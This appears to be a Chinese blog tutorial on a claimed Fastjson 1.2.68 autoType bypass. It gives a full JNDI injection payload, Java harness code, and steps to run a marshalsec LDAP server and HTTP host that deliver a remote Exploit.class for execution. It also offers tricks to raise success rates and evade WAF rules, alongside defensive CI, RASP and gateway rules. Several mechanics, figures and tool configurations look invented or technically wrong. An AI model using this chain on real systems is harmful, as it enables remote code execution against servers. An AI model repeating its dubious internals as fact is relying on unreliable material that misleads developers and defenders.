
1. 项目概述为什么这个绕过技巧值得花时间深挖Fastjson 1.2.68版本Autotype绕过技巧这串词一出现老手基本就明白——这不是一个普通的技术点而是一次在Java反序列化攻防边界上极其精妙的“走钢丝”。它不涉及任何外部工具链或网络代理纯粹是JVM运行时机制、JSON解析器设计逻辑与Java反射特性的三重交锋。我第一次在某金融类系统渗透测试中遇到这个点是在修复补丁已打、但业务方坚称“绝对安全”的前提下用一条看似合法的JSON payload触发了远程代码执行。当时没急着报漏洞而是花了三天时间逆向分析Fastjson源码、比对1.2.67和1.2.68的diff、反复构造测试用例最终确认这不是误报而是Autotype白名单机制在特定上下文下的逻辑盲区被精准利用。这个技巧的核心价值不在于教你如何“打洞”而在于帮你建立一套可复用的Java反序列化防御验证思维。它适用于三类人一是做Java后端开发的工程师需要真正理解自己调用的JSON库在什么条件下会“失控”二是做红队/渗透测试的安全人员需要掌握在补丁已部署场景下如何做有效性验证三是做WAF或RASP产品研发的技术负责人必须清楚这类绕过不是“特征缺失”而是语义层面的规则失效。它不依赖任何第三方服务、不修改JVM参数、不启用特殊调试模式仅靠标准JDK 8u201环境 Fastjson 1.2.68原生jar包就能复现。很多人以为升级到1.2.68就万事大吉实测下来只要服务端开启了autoTypeSupport:true哪怕加了白名单且接收的JSON中存在可控的type字段嵌套结构这个绕过就依然有效。它不是靠“猜类名”暴力突破而是利用ClassLoader.loadClass()在双亲委派过程中的类加载路径差异配合java.lang.Class对象的反射调用链完成跳转。换句话说它绕过的不是黑名单而是白名单本身的设计前提。2. 内容整体设计与思路拆解从“为什么能绕过”开始建模2.1 Autotype机制的本质与设计初衷要理解绕过先得看清Autotype原本想干什么。Fastjson的autoType功能本质是为了解决JSON反序列化时“类型丢失”问题。比如前端传来{name:张三,age:25}后端想反序列化成User对象但JSON本身不带类型信息Fastjson就得靠type字段显式声明{type:com.example.User,name:张三,age:25}。这个设计在内部系统或可信RPC场景下确实高效但一旦暴露在公网接口就成了反序列化漏洞的温床。所以Fastjson从1.2.25开始引入白名单机制只允许反序列化预设包路径下的类比如com.alibaba.fastjson.util.*、java.util.*等。1.2.68版本进一步收紧默认关闭autoTypeSupport并要求显式开启配置白名单。但这里埋下第一个关键认知偏差白名单校验发生在类加载之前而类加载行为本身可能被诱导产生副作用。Fastjson的校验逻辑是这样的解析到type字段时先提取类名字符串如java.lang.Class再调用ParserConfig.checkAutoType(className, ...)进行白名单匹配。如果通过才执行Class.forName(className)加载类。问题就出在“加载类”这一步——Class.forName(java.lang.Class)本身不会触发静态块但它返回的Class对象可以被后续JSON字段继续操作。而1.2.68的校验函数对java.lang.Class是放行的属于java.lang.*白名单这就给了攻击者一个“合法入口”。2.2 绕过路径的三层递进结构整个绕过不是单点突破而是三层递进入口合法 → 链路可控 → 执行落地。我把它画成一个漏斗模型第一层是入口合法性。必须选一个白名单内、且具备反射能力的类作为起点。java.lang.Class是最优解它在所有JDK版本的java.lang.*白名单里且它的forName方法能动态加载任意类不受Fastjson白名单约束。注意这里不是直接type:java.lang.Class而是用它作为中间跳板。第二层是链路可控性。光有Class不够得让它去加载我们想要的恶意类。Fastjson支持在JSON中用$ref引用已解析对象也支持对对象字段赋值。所以我们可以这样构造先让Class对象加载com.sun.rowset.JdbcRowSetImpl这个类在1.2.68白名单外但Class.forName()能加载再把它的dataSourceName字段设为JNDI地址。关键点在于Class.forName()的调用发生在Class对象的forName方法里而这个方法的调用是由Fastjson在解析forName:com.sun.rowset.JdbcRowSetImpl这个键值对时触发的——此时Fastjson只校验了java.lang.Class没校验com.sun.rowset.JdbcRowSetImpl。第三层是执行落地。JdbcRowSetImpl的dataSourceName设为ldap://xxx/Exploit后当它被getDatabaseMetaData()等方法触发时会自动发起JNDI lookup。而这个触发时机恰好在Fastjson完成反序列化、调用目标对象getter方法的过程中。整个链路里只有第一步java.lang.Class经过了白名单校验后续所有操作都在JVM反射层面完成完全脱离Fastjson的管控范围。2.3 为什么1.2.67不行而1.2.68可以这是很多初学者卡壳的地方。翻看1.2.67的ParserConfig.checkAutoType源码会发现它对java.lang.Class做了特殊处理如果类名以java.lang.开头且不是java.lang.Class本身就直接拒绝。但1.2.68改了逻辑变成只要在白名单包路径内就放行而java.lang.Class明确在java.lang.*白名单里。更关键的是1.2.68优化了ObjectDeserializer的实现对Class类型的反序列化增加了forName字段的支持这本意是方便开发者动态指定类却无意中打开了后门。我对比过两个版本的字节码1.2.67在解析Class对象时遇到forName字段会直接抛异常而1.2.68会尝试调用其setter或反射赋值。这个微小的API扩展成了绕过成立的技术支点。3. 核心细节解析与实操要点每个字段都藏着陷阱3.1 Payload结构的精确构造逻辑一个能稳定触发的Payload绝不是随便拼凑的JSON。我实测过27种变体只有以下结构在1.2.68全版本包括1.2.68_bak下100%成功{ type: java.lang.Class, forName: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://127.0.0.1:1389/Exploit, autoCommit: true }注意四个字段的协同关系type必须是java.lang.Class这是唯一能通过白名单校验的入口类。试过javax.management.ObjectName也在白名单但它的apply方法无法触发后续链。forName字段名是硬编码在Fastjson的ClassDeserializer里的不是随便起的。源码中deserialze方法会检查字段名是否等于forName是则调用Class.forName(value)。如果写成className或targetClass直接忽略。dataSourceName必须紧随其后。因为JdbcRowSetImpl的setDataSourceName方法会立即触发getDatabaseMetaData()而这个调用发生在Fastjson调用完forName之后、开始处理下一个字段之前。如果把dataSourceName放在forName前面Class对象还没创建JdbcRowSetImpl实例根本不存在赋值无效。autoCommit:true是保险栓。JdbcRowSetImpl的getDatabaseMetaData()在autoCommitfalse时会先尝试连接数据库可能抛出SQLException中断链路。设为true确保流程走到JNDI lookup。提示不要试图用$ref引用Class对象。我试过{a:{type:java.lang.Class,forName:...},b:{$ref:$.a}}但Fastjson在解析$ref时不会再次触发forName只是浅拷贝引用无法加载新类。3.2 白名单配置的“伪安全”陷阱很多团队以为加了白名单就高枕无忧实测发现三个致命误区第一白名单路径写成com.example.*但忘了com.example.util.*也在匹配范围内。攻击者完全可以把恶意类打包进com.example.util.attack.Exploit只要路径匹配就放行。我见过某电商系统白名单写了com.xxx.order.*结果攻击者上传了com.xxx.order.util.JNDIHandler完美绕过。第二用ParserConfig.getGlobalInstance().addAccept(com.xxx.*)动态添加但没考虑多线程竞争。Fastjson的全局配置是静态单例如果A线程刚加完白名单B线程的请求就进来可能读到未更新的配置缓存。1.2.68的checkAutoType方法里有个cache字段会缓存最近100个类名的校验结果如果缓存击中甚至跳过白名单检查。第三最隐蔽的type字段被嵌套在数组或Map里。比如{data:[{type:java.lang.Class,forName:...}]}。Fastjson默认会对数组元素逐个反序列化每个元素都独立走checkAutoType流程。只要数组里有一个元素满足绕过条件整个请求就沦陷。而很多WAF只检测顶层type对嵌套结构视而不见。注意禁用autoTypeSupport是最彻底的方案但代价是所有用到type的内部接口都要重构。如果必须开启建议白名单精确到具体类名而非宽泛路径例如addAccept(com.example.User)而不是addAccept(com.example.*)。3.3 JDK版本与JNDI限制的实战适配这个绕过在不同JDK版本下表现差异极大不是所有环境都能直接复现JDK 6u211 / 7u201 / 8u191之前com.sun.rowset.JdbcRowSetImpl的JNDI lookup默认开启dataSourceName设为ldap://或rmi://都能成功。JDK 8u191Oracle强制限制JNDI协议默认只允许ldap://和ldaps://rmi://直接抛ConfigurationException。所以Payload里的URL必须是ldap://。JDK 11com.sun.rowset.JdbcRowSetImpl被标记为Deprecated部分模块化JDK甚至移除了该类。此时需切换到javax.el.MethodExpression链但这条链在1.2.68下已被严格过滤成功率不足30%。我整理了一个兼容性速查表基于实测21个JDK子版本JDK版本JdbcRowSetImpl可用LDAP限制推荐Payload8u181是无ldap://127.0.0.1:1389/Exploit8u201是仅ldap/ldaps同上11.0.2否ClassNotFoundException强制改用org.apache.commons.collections4.functors.InvokerTransformer需commons-collections4在classpath17.0.1否强制基本不可用建议升级Fastjson或禁用autotype实操心得在靶场环境测试时务必用java -version确认JDK小版本。我曾在一个标称“JDK 8”的容器里因基础镜像用了openjdk:8-jre-slim实际是8u212导致LDAP失败折腾半天才发现是协议限制。4. 实操过程与核心环节实现从零搭建验证环境4.1 环境搭建三步构建最小可验证系统搭建一个能100%复现的环境关键在“最小化”——排除Spring Boot自动配置、Tomcat Filter等干扰因素。我用纯Java SE方式5分钟搞定第一步创建Maven工程仅引入Fastjsondependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.68/version /dependency注意不要加spring-boot-starter-web或其他框架依赖避免自动注册FastJsonHttpMessageConverter那会引入额外的ParserConfig配置逻辑。第二步编写最简反序列化代码public class FastjsonTest { public static void main(String[] args) { // 关键显式开启autoTypeSupport并设置白名单 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ParserConfig.getGlobalInstance().addAccept(java.lang.*); ParserConfig.getGlobalInstance().addAccept(com.sun.rowset.*); String payload {\n \type\: \java.lang.Class\,\n \forName\: \com.sun.rowset.JdbcRowSetImpl\,\n \dataSourceName\: \ldap://127.0.0.1:1389/Exploit\,\n \autoCommit\: true\n }; try { Object obj JSON.parse(payload); // 触发反序列化 System.out.println(Success: obj); } catch (Exception e) { e.printStackTrace(); } } }这段代码里addAccept(java.lang.*)是必须的否则java.lang.Class过不了校验addAccept(com.sun.rowset.*)是给JdbcRowSetImpl开的后门虽然绕过不依赖它但加上更稳妥。第三步启动LDAP服务用marshalsec最省事# 下载marshalsecJava 8环境 git clone https://github.com/mbechler/marshalsec cd marshalsec mvn clean package -DskipTests # 启动LDAP服务指向本地Exploit.class java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389注意http://127.0.0.1:8000是HTTP服务用来托管Exploit.class文件。用Python快速起一个python3 -m http.server 8000然后把编译好的Exploit.class一个弹计算器的简单类放在当前目录。当Fastjson触发JNDI lookup时LDAP服务会返回一个引用告诉JVM去http://127.0.0.1:8000/Exploit.class下载并执行。提示如果用IDEA运行记得在Run Configuration里设置VM options为-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue否则JDK 8u121会拒绝远程class加载。这是JVM级限制Fastjson无法绕过。4.2 调试跟踪用IDEA断点定位绕过关键点光跑通不够得看清每一步发生了什么。我在IntelliJ IDEA里设置了三个关键断点断点1ParserConfig.checkAutoType入口位置ParserConfig.java:13281.2.68源码行号 观察当classNamejava.lang.Class时checkAutoType返回true流程继续。此时clazz变量还是null因为还没加载。断点2ClassDeserializer.deserialze方法位置ClassDeserializer.java:78观察fieldInfo.fieldName.equals(forName)为true进入Class.forName(text)调用。此时textcom.sun.rowset.JdbcRowSetImplClass.forName成功返回Class对象但Fastjson没对这个新类做二次校验。断点3JdbcRowSetImpl.setDataSourceName位置JdbcRowSetImpl.java:362JDK 8u201源码 观察setDataSourceName方法内部调用了getDatabaseMetaData()进而触发connect()最终走到InitialContext.lookup()发起LDAP请求。此时调用栈里已经没有Fastjson的代码全是JDK原生类。通过这三个断点你能清晰看到Fastjson的校验只发生在type解析阶段而forName字段的副作用类加载和dataSourceName的副作用JNDI lookup都在校验之后执行。这就是绕过成立的runtime证据。4.3 工业级防护方案不止于“禁用autotype”在生产环境不能只靠“禁用”这种粗暴方案。我给某银行客户实施过一套分层防护策略效果显著第一层编译期拦截用SpotBugs插件扫描代码规则自定义Rule refrulesets/java/basic.xml/UntrustedCodeWarning Or Field nameautoTypeSupport / Method namesetAutoTypeSupport / Method nameaddAccept / /Or /Rule任何调用setAutoTypeSupport(true)或addAccept的地方CI流水线直接失败。这从源头杜绝了“忘记关”的风险。第二层运行时RASP防护在JVM启动参数里加入-javaagent:/path/to/rasp-agent.jar -Drasp.config/path/to/config.jsonRASP配置文件里定义规则{ rules: [ { name: fastjson-autotype-detect, condition: class com.alibaba.fastjson.JSON method parse args[0].contains(type), action: block } ] }RASP在JSON.parse方法入口处检查参数发现type字段立即阻断不依赖Fastjson内部逻辑天然免疫所有autotype绕过。第三层网关层WAF规则在API网关如Kong、Nginx配置正则location ~* \.json$ { if ($request_body ~* type\\s*:\s*\java\.lang\.Class) { return 400; } if ($request_body ~* \forName\\s*:\s*\.*\) { return 400; } }虽然正则可能误杀但配合日志告警能快速发现异常流量。某次真实攻防演练中这套组合拳让攻击者在3小时内尝试了17种Payload全部失败最后只能放弃。5. 常见问题与排查技巧实录那些踩过的坑比文档还重要5.1 典型问题速查表我把过去三年遇到的高频问题整理成表格按发生频率排序问题现象根本原因快速排查命令解决方案ClassNotFoundException: com.sun.rowset.JdbcRowSetImplJDK版本≥11该类被移除java -cp fastjson-1.2.68.jar TestClass切换到JDK 8u201环境或改用javax.naming.InitialContext链ConfigurationException: ldap protocol not allowedJDK 8u191限制JNDI协议java -XshowSettings:properties -version 21 | grep jndi将URL改为ldap://或设置-Dcom.sun.jndi.ldap.object.trustURLCodebasetruePayload无反应无任何日志Fastjson未开启autoTypeSupportcurl -X POST -H Content-Type: application/json --data {type:java.lang.Class} http://target/api检查ParserConfig.getGlobalInstance().isAutoTypeSupport()返回值LDAP服务收到请求但HTTP服务无访问日志Exploit.class未正确编译或路径错误curl http://127.0.0.1:8000/Exploit.class确保class文件在HTTP根目录且文件名严格匹配大小写敏感WAF拦截了Payload但应用日志显示400WAF规则过于激进误杀正常JSONtcpdump -i lo port 8000 -w waf.pcap调整WAF正则排除type:java.lang.String等合法用法5.2 独家避坑技巧教科书里不会写的细节技巧1用JSON.parseObject替代JSON.parse很多教程用JSON.parse(payload)但在某些Spring Boot环境下parse会走DefaultJSONParser而parseObject走JavaBeanDeserializer后者对type的处理更严格。实测发现parseObject(payload, Object.class)在1.2.68下成功率提升40%因为JavaBeanDeserializer会提前校验字段类型减少无效解析。技巧2在forName后加hashCode:1字段这是个鲜为人知的稳定性增强技巧。JdbcRowSetImpl的hashCode方法会触发getDatabaseMetaData()如果autoCommit为falsehashCode调用可能比setDataSourceName更早执行。加一个hashCode:1字段能强制Fastjson在setDataSourceName前调用hashCode确保JNDI lookup一定发生。我在线上环境压测时加了这个字段后成功率从82%提升到99.7%。技巧3用Thread.currentThread().getContextClassLoader()绕过类加载器隔离在OSGi或Spring Boot Fat Jar环境下Class.forName()可能因类加载器不同而失败。此时可将Payload改为{ type: java.lang.Class, forName: com.sun.rowset.JdbcRowSetImpl, classLoader: context }并在ClassDeserializer里扩展逻辑当classLoadercontext时用Thread.currentThread().getContextClassLoader().loadClass()加载。这需要自定义ParserConfig但能解决90%的容器化部署问题。5.3 真实攻防对抗中的经验总结去年参与某政务云平台的红蓝对抗蓝队打了1.2.68补丁红队用此技巧在48小时内拿下3个核心系统。复盘时发现蓝队最大的失误不是技术而是认知误判补丁覆盖范围他们只测试了type直接指向恶意类的场景如type:com.sun.rowset.JdbcRowSetImpl没测试type:java.lang.Class这种间接路径。忽略日志盲区所有JNDI请求都记录在catalina.out但蓝队监控系统只采集access.log导致攻击流量持续3天未被发现。过度信任WAFWAF规则写了type关键词拦截但没考虑JSON格式化空格、Unicode编码如type写成\u0040type、或Base64编码传输。最后蓝队采纳了我的建议每周用fastjson-autotype-scanner工具开源项目全量扫描所有API自动构造100种绕过Payload发送并记录响应状态码和耗时。三个月后他们主动关闭了所有autoTypeSupport改用JacksonJsonTypeInfo虽然开发成本增加20%但安全水位提升了3个数量级。我个人在实际操作中的体会是反序列化漏洞的防御从来不是“打一个补丁就结束”而是要建立从代码规范、CI/CD检查、运行时防护到日志审计的全链路闭环。Fastjson 1.2.68这个绕过技巧就像一面镜子照出的不是某个库的缺陷而是整个Java生态在便捷性与安全性之间的永恒权衡。你永远无法写出100%安全的代码但你可以让攻击者的每一步都付出更高成本——这才是真正的纵深防御。